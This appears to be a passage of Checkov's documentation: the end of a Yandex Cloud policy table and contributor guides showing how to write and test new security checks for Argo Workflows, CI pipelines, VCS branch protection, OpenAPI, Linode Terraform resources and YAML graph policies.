Ensure cloud member does not have elevated access. | Terraform | [IAMCloudElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py) | | 4621 | CKV_YC_14 | resource | yandex_kubernetes_cluster | Ensure security group is assigned to Kubernetes cluster. | Terraform | [K8SSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SSecurityGroup.py) | | 4622 | CKV_YC_15 | resource | yandex_kubernetes_node_group | Ensure security group is assigned to Kubernetes node group. | Terraform | [K8SNodeGroupSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupSecurityGroup.py) | | 4623 | CKV_YC_16 | resource | yandex_kubernetes_cluster | Ensure network policy is assigned to Kubernetes cluster. | Terraform | [K8SNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/K8SNetworkPolicy.py) | | 4624 | CKV_YC_17 | resource | yandex_storage_bucket | Ensure storage bucket does not have public access permissions. | Terraform | [ObjectStorageBucketPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketPublicAccess.py) | | 4625 | CKV_YC_18 | resource | yandex_compute_instance_group | Ensure compute instance group does not have public IP. | Terraform | [ComputeInstanceGroupPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupPublicIP.py) | | 4626 | CKV_YC_19 | resource | yandex_vpc_security_group | Ensure security group does not contain allow-all rules. | Terraform | [VPCSecurityGroupAllowAll.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupAllowAll.py) | | 4627 | CKV_YC_20 | resource | yandex_vpc_security_group_rule | Ensure security group rule is not allow-all. | Terraform | [VPCSecurityGroupRuleAllowAll.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupRuleAllowAll.py) | | 4628 | CKV_YC_21 | resource | yandex_organizationmanager_organization_iam_binding | Ensure organization member does not have elevated access. | Terraform | [IAMOrganizationElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py) | | 4629 | CKV_YC_21 | resource | yandex_organizationmanager_organization_iam_member | Ensure organization member does not have elevated access. | Terraform | [IAMOrganizationElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py) | | 4630 | CKV_YC_22 | resource | yandex_compute_instance_group | Ensure compute instance group has security group assigned. | Terraform | [ComputeInstanceGroupSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/ComputeInstanceGroupSecurityGroup.py) | | 4631 | CKV_YC_23 | resource | yandex_resourcemanager_folder_iam_binding | Ensure folder member does not have elevated access. | Terraform | [IAMFolderElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py) | | 4632 | CKV_YC_23 | resource | yandex_resourcemanager_folder_iam_member | Ensure folder member does not have elevated access. | Terraform | [IAMFolderElevatedMembers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py) | | 4633 | CKV_YC_24 | resource | yandex_organizationmanager_organization_iam_binding | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 4634 | CKV_YC_24 | resource | yandex_organizationmanager_organization_iam_member | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 4635 | CKV_YC_24 | resource | yandex_resourcemanager_cloud_iam_binding | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 4636 | CKV_YC_24 | resource | yandex_resourcemanager_cloud_iam_member | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 4637 | CKV_YC_24 | resource | yandex_resourcemanager_folder_iam_binding | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | | 4638 | CKV_YC_24 | resource | yandex_resourcemanager_folder_iam_member | Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible. | Terraform | [IAMPassportAccountUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py) | --- ================================================ FILE: docs/6.Contribution/Contribute New Argo Workflows Policies.md ================================================ --- layout: default published: true title: Contribute New Argo Workflows configuration policy nav_order: 5 --- # Contribute New Argo Workflows configuration policy In this example, we'll add support for a new Argo Workflows configuration check to validate the usage of a user defined ServiceAccount. ## Add a Check Go to `checkov/argo_workflows/checks/template` and add `DefaultServiceAccount.py`: ```python from __future__ import annotations from typing import Any from checkov.argo_workflows.checks.base_argo_workflows_check import BaseArgoWorkflowsCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.yaml_doc.enums import BlockType class DefaultServiceAccount(BaseArgoWorkflowsCheck): def __init__(self) -> None: name = "Ensure Workflow pods are not using the default ServiceAccount" id = "CKV_ARGO_1" super().__init__( name=name, id=id, categories=(CheckCategories.IAM,), supported_entities=("spec",), block_type=BlockType.OBJECT, ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if "serviceAccountName" in conf.keys() and conf["serviceAccountName"] != "default": return CheckResult.PASSED, conf return CheckResult.FAILED, conf check = DefaultServiceAccount() ``` ### Adding a Test Create a new folder under `tests/argo_workflows/checks/template` with the name of your check `example_DefaultServiceAccount` for adding example configuration files. Try to add at least 2 test cases, one passing and one failing. `pass.yaml`: ```yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: hello-world- spec: serviceAccountName: custom-sa entrypoint: whalesay templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["hello world"] ``` Lastly add the test file `test_DefaultServiceAccount.py` to scan the example files. ```python from pathlib import Path from checkov.argo_workflows.runner import Runner from checkov.argo_workflows.checks.template.DefaultServiceAccount import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_DefaultServiceAccount" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { f"{test_files_dir}/pass.yaml.spec.spec.CKV_ARGO_1[6:14]", } failing_resources = { f"{test_files_dir}/fail_default.yaml.spec.spec.CKV_ARGO_1[6:14]", f"{test_files_dir}/fail_none.yaml.spec.spec.CKV_ARGO_1[6:13]", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ``` So there you have it! A new check will be scanned once your contribution is merged! ================================================ FILE: docs/6.Contribution/Contribute New Azure Pipelines Policies.md ================================================ --- layout: default published: true title: Contribute New Azure Pipelines configuration policy nav_order: 5 --- # Contribute New Azure Pipelines configuration policy In this example, we'll add support for a new Azure Pipelines configuration check to validate the usage of a version digest. ## Add a Check Go to `checkov/azure_pipelines/checks/jobs` and add `ContainerDigest.py`: ```python from __future__ import annotations from typing import Any from checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.yaml_doc.enums import BlockType class ContainerDigest(BaseAzurePipelinesCheck): def __init__(self) -> None: name = "Ensure container job uses a version digest" id = "CKV_AZUREPIPELINES_2" super().__init__( name=name, id=id, categories=(CheckCategories.SUPPLY_CHAIN,), supported_entities=("jobs", "stages[].jobs[]"), block_type=BlockType.ARRAY, ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: container = conf.get("container") if container and isinstance(container, str): if "@" in container: return CheckResult.PASSED, conf return CheckResult.FAILED, conf return CheckResult.UNKNOWN, conf check = ContainerDigest() ``` ### Adding a Test Create a new folder under `tests/azure_pipelines/checks/jobs` with the name of your check `example_ContainerDigest` for adding example configuration files. Try to add at least 2 test cases, one passing and one failing. `azure-pipelines.yml`: ```yaml trigger: - master resources: repositories: - repository: AzureDevOps type: git endpoint: AzureDevOps name: AzureDevOps/AzureDevOps jobs: - job: RunInContainer pool: vmImage: 'ubuntu-18.04' container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db steps: - script: printenv ``` Lastly add the test file `test_ContainerDigest.py` to scan the example files. ```python from pathlib import Path from checkov.azure_pipelines.runner import Runner from checkov.azure_pipelines.checks.job.ContainerDigest import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_ContainerDigest" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { f"{test_files_dir}/azure-pipelines.yml.stages[].jobs[].stages[].jobs[].CKV_AZUREPIPELINES_2[22:31]", } failing_resources = { f"{test_files_dir}/azure-pipelines.yml.jobs.jobs.CKV_AZUREPIPELINES_2[32:40]", f"{test_files_dir}/azure-pipelines.yml.stages[].jobs[].stages[].jobs[].CKV_AZUREPIPELINES_2[14:22]", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ``` So there you have it! A new check will be scanned once your contribution is merged! ================================================ FILE: docs/6.Contribution/Contribute New Bitbucket Policies.md ================================================ --- layout: default published: true title: Contribute New Bitbucket configuration policy nav_order: 5 --- # Contribute New Bitbucket configuration policy In this example, we'll add support for a new Bitbucket configuration check. ## Add new API call to fetch data from Bitbucket We are going to add a new check that will examine how branch protection rules are configured and validate we enforce protection rules on admin users too. ### Add an API call First, we will validate if the Bitbucket API call that GETs the branch protection current state exists in `checkov/bitbucket/dal.py`. If not it can be added to that file like the following example: ```python class Bitbucket(BaseVCSDAL) ... ... def get_branch_restrictions(self): if self.current_repository: branch_restrictions = self._request( endpoint=f"repositories/{self.current_repository}/branch-restrictions") return branch_restrictions return None def persist_branch_restrictions(self): branch_restrictions = self.get_branch_restrictions() if branch_restrictions: BaseVCSDAL.persist(path=self.bitbucket_branch_restrictions_file_path, conf=branch_restrictions) def persist_all_confs(self): if strtobool(os.getenv("CKV_BITBUCKET_CONFIG_FETCH_DATA", "True")): self.persist_branch_restrictions() ``` ### Add a Check Go to `checkov/bitbucket/checks` and add `enforce_branch_protection_on_admins.py`: ```python from checkov.bitbucket.base_bitbucket_configuration_check import BaseBitbucketCheck from checkov.bitbucket.schemas.branch_restrictions import schema as branch_restrictions_schema from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.enums import BlockType class MergeRequestRequiresApproval(BaseBitbucketCheck): def __init__(self): name = "Merge requests should require at least 2 approvals" id = "CKV_BITBUCKET_1" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( name=name, id=id, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf): if branch_restrictions_schema.validate(conf): for value in conf.get("values", []): if value.get('kind', '') == 'require_approvals_to_merge': if value.get('value', 0) >= 2: return CheckResult.PASSED, conf return CheckResult.FAILED, conf check = MergeRequestRequiresApproval() ``` And also add the JSON schema to validate the Bitbucket API response `/checkov/bitbucket/schemas/branch_protection.py`: ```python from checkov.common.vcs.vcs_schema import VCSSchema class BranchRestrictionsSchema(VCSSchema): def __init__(self): schema = \ { "$schema": "http://json-schema.org/draft-04/schema#", "type": "object", "properties": { "pagelen": { "type": "integer" }, "values": { "type": "array", "items": [ { "type": "object", "properties": { "kind": { "type": "string" }, "users": { "type": "array", "items": {} }, "links": { "type": "object", "properties": { "self": { "type": "object", "properties": { "href": { "type": "string" } }, "required": [ "href" ] } }, "required": [ "self" ] }, "pattern": { "type": "string" }, "branch_match_kind": { "type": "string" }, "groups": { "type": "array", "items": {} }, "type": { "type": "string" }, "id": { "type": "integer" } }, "required": [ "kind", "users", "links", "pattern", "branch_match_kind", "groups", "type", "id" ] }, { "type": "object", "properties": { "kind": { "type": "string" }, "users": { "type": "array", "items": {} }, "links": { "type": "object", "properties": { "self": { "type": "object", "properties": { "href": { "type": "string" } }, "required": [ "href" ] } }, "required": [ "self" ] }, "pattern": { "type": "string" }, "branch_match_kind": { "type": "string" }, "groups": { "type": "array", "items": {} }, "type": { "type": "string" }, "id": { "type": "integer" } }, "required": [ "kind", "users", "links", "pattern", "branch_match_kind", "groups", "type", "id" ] }, { "type": "object", "properties": { "kind": { "type": "string" }, "users": { "type": "array", "items": {} }, "links": { "type": "object", "properties": { "self": { "type": "object", "properties": { "href": { "type": "string" } }, "required": [ "href" ] } }, "required": [ "self" ] }, "pattern": { "type": "string" }, "branch_match_kind": { "type": "string" }, "groups": { "type": "array", "items": {} }, "type": { "type": "string" }, "id": { "type": "integer" } }, "required": [ "kind", "users", "links", "pattern", "branch_match_kind", "groups", "type", "id" ] } ] }, "page": { "type": "integer" }, "size": { "type": "integer" } }, "required": [ "pagelen", "values", "page", "size" ] } super().__init__(schema=schema) schema = BranchRestrictionsSchema() ``` ### Adding a Test follow the examples in `tests/bitbucket/test_runner.py` and add a test to the new check So there you have it! A new check will be scanned once your contribution is merged! ================================================ FILE: docs/6.Contribution/Contribute New GitHub Policies.md ================================================ --- layout: default published: true title: Contribute New GitHub configuration policy nav_order: 5 --- # Contribute New GitHub configuration policy In this example, we'll add support for a new GitHub configuration check. ## Add new API call to fetch data from GitHub We are going to add a new check that will examine how branch protection rules are configured and validate we enforce protection rules on admin users too. ### Add an API call First, we will validate if the GitHub API call that GETs the branch protection current state exists in `checkov/github/dal.py`. If not it can be added to that file like the following example: ```python class GitHub(BaseVCSDAL): ... ... def setup_conf_dir(self) -> None: ... self.github_conf_file_paths = { "branch_protection_rules": [Path(self.github_conf_dir_path) / "branch_protection_rules.json"], ... } def get_branch_protection_rules(self): if self.current_branch and self.current_repository: branch_protection_rules = self._request( endpoint="repos/{}/branches/{}/protection".format(self.current_repository, self.current_branch)) return branch_protection_rules return None def persist_branch_protection_rules(self): data = self.get_branch_protection_rules() if data: BaseVCSDAL.persist(path=self.github_conf_file_paths["branch_protection_rules"][0], conf=data) def persist_all_confs(self): if strtobool(os.getenv("CKV_GITHUB_CONFIG_FETCH_DATA", "True")): self.persist_organization_security() self.persist_branch_protection_rules() ``` ### Add a Check Go to `checkov/github/checks` and add `enforce_branch_protection_on_admins.py`: ```python from checkov.github.base_github_branch_security import BranchSecurity class GithubBranchEnforceAdmins(BranchSecurity): def __init__(self): name = "Ensure GitHub branch protection rules is enforced on admins" id = "CKV_GITHUB_8" super().__init__( name=name, id=id ) def get_evaluated_keys(self): return ['enforce_admins/enabled'] check = GithubBranchEnforceAdmins() ``` And also add the JSON schema to validate the GitHub API response `/checkov/github/schemas/branch_protection.py`: ```python from checkov.github.schemas.base_schema import GithubConfSchema class BranchProtectionSchema(GithubConfSchema): def __init__(self): schema = { "$schema": "http://json-schema.org/draft-04/schema#", "type": "object", "properties": { "url": { "type": "string" }, "required_signatures": { "type": "object", "properties": { "url": { "type": "string" }, "enabled": { "type": "boolean" } }, "required": [ "url", "enabled" ] }, "enforce_admins": { "type": "object", "properties": { "url": { "type": "string" }, "enabled": { "type": "boolean" } }, "required": [ "url", "enabled" ] }, "required_linear_history": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": [ "enabled" ] }, "allow_force_pushes": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": [ "enabled" ] }, "allow_deletions": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": [ "enabled" ] }, "required_conversation_resolution": { "type": "object", "properties": { "enabled": { "type": "boolean" } }, "required": [ "enabled" ] } }, "required": [ "url", "enforce_admins", "required_linear_history", "allow_force_pushes", "allow_deletions", ] } super().__init__(schema=schema) schema = BranchProtectionSchema() ``` ### Adding a Test follow the examples in `tests/github/test_runner.py` and add a test to the new check So there you have it! A new check will be scanned once your contribution is merged! ================================================ FILE: docs/6.Contribution/Contribute New Gitlab Policies.md ================================================ --- layout: default published: true title: Contribute New Gitlab configuration policy nav_order: 5 --- # Contribute New Gitlab configuration policy In this example, we'll add support for a new Gitlab configuration check. ## Add new API call to fetch data from Gitlab We are going to add a new check that will examine how merge requests protection rules are configured and validate we enforce at least 2 approvers. ### Add an API call First, we will validate if the Gitlab API call that GETs the branch protection current state exists in `checkov/gitlab/dal.py`. If not it can be added to that file like the following example: ```python class Gitlab(BaseVCSDAL): ... ... def get_project_approvals(self): if self.project_id: project_approvals = self._request( endpoint=f"projects/{self.project_id}/approvals") return project_approvals return None def persist_project_approvals(self): project_approvals = self.get_project_approvals() if project_approvals: BaseVCSDAL.persist(path=self.gitlab_project_approvals_file_path, conf=project_approvals) def persist_all_confs(self): if strtobool(os.getenv("CKV_GITLAB_CONFIG_FETCH_DATA", "True")): self.persist_project_approvals() self.persist_groups() ``` ### Add a Check Go to `checkov/gitlab/checks` and add `enforce_branch_protection_on_admins.py`: ```python class MergeRequestRequiresApproval(BaseGitlabCheck): def __init__(self): name = "Merge requests should require at least 2 approvals" id = "CKV_GITLAB_1" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( name=name, id=id, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf): if project_aprovals_schema.validate(conf): if conf.get("approvals_before_merge", 0) < 2: return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = MergeRequestRequiresApproval() ``` And also add the JSON schema to validate the Gitlab API response `/checkov/gitlab/schemas/project_approvals.py`: ```python from checkov.common.vcs.vcs_schema import VCSSchema class ProjectApprovalsSchema(VCSSchema): def __init__(self): schema = { "$schema": "http://json-schema.org/draft-04/schema#", "type": "object", "properties": { "approvals_before_merge": { "type": "integer" }, "reset_approvals_on_push": { "type": "boolean" }, "disable_overriding_approvers_per_merge_request": { "type": "boolean" }, "merge_requests_author_approval": { "type": "boolean" }, "merge_requests_disable_committers_approval": { "type": "boolean" }, "require_password_to_approve": { "type": "boolean" } }, "required": [ "approvals_before_merge", "reset_approvals_on_push", "disable_overriding_approvers_per_merge_request", "merge_requests_author_approval", "merge_requests_disable_committers_approval", "require_password_to_approve" ] } super().__init__(schema=schema) schema = ProjectApprovalsSchema() ``` ### Adding a Test follow the examples in `tests/gitlab/test_runner.py` and add a test to the new check So there you have it! A new check will be scanned once your contribution is merged! ================================================ FILE: docs/6.Contribution/Contribute New OpenAPI Policies.md ================================================ --- layout: default published: true title: Contribute New OpenAPI configuration policy nav_order: 5 --- # Contribute New OpenAPI configuration policy In this example, we'll add support for a new OpenAPI configuration check. ### Add a Check Go to `checkov/openapi/checks/resource`, go to v2|v3|generic according to the OpenAPI version you check and add `GlobalSecurityFieldIsEmpty.py`: v2 - OpenAPI 2.0. v3 - OpenAPI 3. generic - for both OpenAPI 2 and 3. In case the check is for OpenAPI version 2.0, use parent class `BaseOpenapiCheckV2` and override check method `scan_openapi_conf` In case the check is for OpenAPI version 3, use parent class `BaseOpenapiCheckV3` and override check method `scan_openapi_conf` In case the check is a generic check for OpenAPI version 2.0 and 3, use parent class `BaseOpenapiCheck` and override check method `scan_entity_conf` ```python from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck class GlobalSecurityFieldIsEmpty(BaseOpenapiCheck): def __init__(self) -> None: id = "CKV_OPENAPI_4" name = "Ensure that the global security field has rules defined" categories = [CheckCategories.API_SECURITY] supported_resources = ['security'] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: security_rules = conf.get("security") if security_rules: return CheckResult.PASSED, security_rules return CheckResult.FAILED, conf check = GlobalSecurityFieldIsEmpty() ``` ### Adding a Test follow the examples in `tests/openapi/test_runner.py` and add a test to the new check So there you have it! A new check will be scanned once your contribution is merged! ================================================ FILE: docs/6.Contribution/Contribute New Terraform Provider.md ================================================ --- layout: default published: true title: Contribute New Terraform Provider nav_order: 4 --- # Contribute New Terraform Provider In this example we'll add support for a new Terraform Provider, the Linode Cloud platform. ## Add Resource Checks for a New Provider This check is going to examine resources of the type: `linode_instance`, to ensure they have the property `authorised_keys` set. ### Add a Test First create a new folder `tests/terraform/checks/resource/linode/` and add `test_authorised_keys.py` using the code below: ```python import unittest import hcl2 from checkov.terraform.checks.resource.linode.authorized_keys import check from checkov.common.models.enums import CheckResult class TestAuthorizedKeys(unittest.TestCase): def test_success(self): hcl_res = hcl2.loads( """ resource "linode_instance" "test" { authorized_keys="1234355-12345-12-1213123" } """ ) resource_conf = hcl_res["resource"][0]["linode_instance"]["test"] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): hcl_res = hcl2.loads( """ resource "linode_instance" "test" { } """ ) resource_conf = hcl_res["resource"][0]["linode_instance"]["test"] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == "__main__": unittest.main() ``` Add a placeholder file at `tests/terraform/checks/resource/linode/__init__.py` ### Add a Check Create the folder `checkov/checkov/terraform/checks/resource/linode` and add `authorized_keys.py`: ```python from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AuthorizedKeys(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure SSH key set in authorized_keys" id = "CKV_LIN_2" supported_resources = ("linode_instance",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "authorized_keys" def get_expected_value(self) -> Any: return ANY_VALUE check = AuthorizedKeys() ``` And also add `checkov/terraform/checks/resource/linode/__init__.py`: ```python from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ``` ### Include Checks In `checkov/terraform/checks/resource/__init__.py`, update include Linode resources with the entry `from checkov.terraform.checks.resource.linode import *`. This will ensure that this and any future Linode resource test are included in Checkov runs: ```python from checkov.terraform.checks.resource.gcp import * # noqa from checkov.terraform.checks.resource.azure import * # noqa from checkov.terraform.checks.resource.github import * # noqa from checkov.terraform.checks.resource.linode import * # noqa ``` ## Add New Provider Checks This Provider check verifies that the user hasn't added their Linode secret token to their file. Adding the secret token to a Public repository would cause many problems. ### Adding a Test Create the folder `tests/terraform/checks/provider/linode/` and `test_credentials.py` ```python import unittest import hcl2 from checkov.terraform.checks.provider.linode.credentials import check from checkov.common.models.enums import CheckResult class TestCredentials(unittest.TestCase): def test_success(self): hcl_res = hcl2.loads( """ provider "linode" {} """ ) provider_conf = hcl_res["provider"][0]["linode"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): hcl_res = hcl2.loads( """ provider "linode" { token = "c7680462065ee80d0fef2940784b1af6826f6e0b18586194c5f67c4b40fa7f09" } """ ) provider_conf = hcl_res["provider"][0]["linode"] scan_result = check.scan_provider_conf(conf=provider_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == "__main__": unittest.main() ``` Then add the placeholder `tests/terraform/checks/provider/linode/__init__.py` ### Add the Provider Check Create a directory `checkov/terraform/checks/provider/linode` and add `credentials.py` ```python import re from typing import Dict, List, Any, Pattern from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.provider.base_check import BaseProviderCheck from checkov.common.models.consts import linode_token_pattern class LinodeCredentials(BaseProviderCheck): def __init__(self): name = "Ensure no hard coded Linode tokens exist in provider" id = "CKV_LIN_1" supported_provider = ("linode",) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if self.secret_found(conf, "token", linode_token_pattern): return CheckResult.FAILED return CheckResult.PASSED @staticmethod def secret_found(conf: Dict[str, List[Any]], field: str, pattern: Pattern[str]) -> bool: if field in conf.keys(): value = conf[field][0] if re.match(pattern, value) is not None: return True return False check = LinodeCredentials() ``` And also `checkov/terraform/checks/provider/linode/__init__.py` ```python from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ``` Update the security constants `checkov/common/models/consts.py` with the new pattern. ```python import re SUPPORTED_FILE_EXTENSIONS = [".tf", ".yml", ".yaml", ".json", ".template"] ANY_VALUE = "CKV_ANY" DOCKER_IMAGE_REGEX = re.compile(r'(?:[^\s\/]+/)?([^\s:]+):?([^\s]*)') access_key_pattern = re.compile(r"(?/checks//`, where **type ** is the Custom Policy's type and **provider** is the Custom Policy's provider. A Custom Policy is a class implementing an abstract base class that corresponds to some provider and type. For example, all Custom Policies of **resource** type and **aws **provider implement the resource base class found at `checkov/terraform/checks/resource/base_check.py`. The resource check needs to implement its base abstract method named `scan_resource_conf`, which accepts as an input a dictionary of all the key-valued resource attributes, and outputs a CheckResult. Define a policy as described [here](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html). ## Example `checkov/terraform/checks/resource/aws/APIGatewayCacheEnable.py` ```python from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayCacheEnable(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway caching is enabled" id = "CKV_AWS_120" supported_resources = ['aws_api_gateway_stage'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "cache_cluster_enabled" check = APIGatewayCacheEnable() ``` # Testing Assuming the implemented check’s class is file is found in checkov/terraform/checks// directory, named .py, create an appropriate unit test file in tests/terraform/checks// directory, named test_.py. The test suite should cover different check results; Test if the check outputs PASSED on a compliant configuration, and test if it output FAILED on a non-compliant configuration. You are also encouraged to test more specific components of the check, according to their complexity. ## Example `tests/terraform/checks/resource/aws/test_APIGatewayCacheEnable.py` ```python import unittest import hcl2 from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.aws.APIGatewayCacheEnable import check class TestAPIGatewayCacheEnable(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_api_gateway_rest_api" "example" { name = "example" } """) resource_conf = hcl_res['resource'][0]['aws_api_gateway_rest_api']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_api_gateway_rest_api" "example" { name = "example" cache_cluster_enabled = true } """) resource_conf = hcl_res['resource'][0]['aws_api_gateway_rest_api']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ``` ================================================ FILE: docs/6.Contribution/Contribute YAML-based Policies.md ================================================ --- layout: default published: true title: Contribute YAML-based Policies nav_order: 3 --- # Contributing YAML-based Custom Policies 1. Define a policy as described [here](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html). 2. Create a branch under the `checkov2` fork (will be changed + the URLs after merge) - `https://github.com/bridgecrewio/checkov` 3. Add `.yaml` file to `https://github.com/bridgecrewio/checkov/tree/main/checkov/terraform/checks/graph_checks` inside the relevant provider folder that matches your current policy. ## Example `checkov/terraform/checks/graph_checks/aws/EBSAddedBackup.yaml` ```yaml metadata: name: "Ensure that EBS are added in the backup plans of AWS Backup" id: "CKV2_AWS_9" category: "BACKUP_AND_RECOVERY" definition: and: - cond_type: connection resource_types: - aws_backup_selection connected_resource_types: - aws_ebs_volume operator: exists - cond_type: filter attribute: resource_type value: - aws_ebs_volume operator: within ``` ## YAML Format Testing 1 - Add the test resources directory to: `https://github.com/bridgecrewio/checkov/tree/main/tests/terraform/graph/checks/resources` and create a folder with the same name as your Custom Policy. In this folder, add the Terraform file(s) which are resources for testing the policy, and `expected.yaml` - all the resources that should pass and the resources that should fail. ### Terraform Files Example `tests//terraform/graph/checks/resources/EBSAddedBackup/main.tf` ```yaml resource "aws_ebs_volume" "ebs_good" { availability_zone = "us-west-2a" size = 40 tags = { Name = "HelloWorld" } } resource "aws_ebs_volume" "ebs_bad" { availability_zone = "us-west-2a" size = 40 tags = { Name = "HelloWorld" } } resource "aws_backup_selection" "backup_good" { iam_role_arn = "arn" name = "tf_example_backup_selection" plan_id = "123456" resources = [ 